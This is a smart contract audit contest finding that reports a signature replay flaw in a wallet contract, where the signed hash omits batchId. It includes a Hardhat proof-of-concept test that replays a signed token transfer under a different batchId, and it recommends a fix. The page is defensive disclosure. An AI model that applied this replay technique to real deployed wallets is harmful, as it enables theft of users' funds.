Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 38/105
Findings: 1
Award: $194.25
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Tointer
Also found by: 0xdeadbeef0x, HE1M, Haipls, Koolex, PwnedNoMore, Tricko, V_B, csanuragjain, orion, peakbolt, ro, romand, taek
194.2465 USDC - $194.25
Signed transaction can be replayed. First user transaction can always be replayed any amount of times. With non-first transactions attack surface is reduced but never dissapears
Contract checks nonces[batchId]
but not batchId
itself, so we could reuse other batches nounces. If before transaction we have n
batches with the same nonce as transaction batch, then transaction can be replayed n
times. Since there are 2^256 batchId
s with nonce = 0, first transaction in any batch can be replayed as much times as attacker needs.
Insert this test in testGroup1.ts
right after Should set the correct states on proxy
test:
it("replay EIP712 sign transaction", async function () { await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); const safeTx: SafeTransaction = buildSafeTransaction({ to: token.address, data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()), nonce: await userSCW.getNonce(0), }); const chainId = await userSCW.getChainId(); const { signer, data } = await safeSignTypedData( accounts[0], userSCW, safeTx, chainId ); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; let signature = "0x"; signature += data.slice(2); await expect( userSCW.connect(accounts[2]).execTransaction( transaction, 0, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); //contract checks nonces[batchId] but not batchId itself //so we can change batchId to the one that have the same nonce //this would replay transaction await expect( userSCW.connect(accounts[2]).execTransaction( transaction, 1, // changed batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); //charlie would have 20 tokens after this expect(await token.balanceOf(charlie)).to.equal( ethers.utils.parseEther("20") ); });
add batchId
to the hash calculation of the transaction in encodeTransactionData
function
#0 - c4-judge
2023-01-17T07:02:56Z
gzeon-c4 marked the issue as duplicate of #485
#1 - c4-sponsor
2023-01-25T23:51:43Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:34:38Z
gzeon-c4 marked the issue as satisfactory
#3 - c4-judge
2023-02-10T12:35:36Z
gzeon-c4 marked the issue as selected for report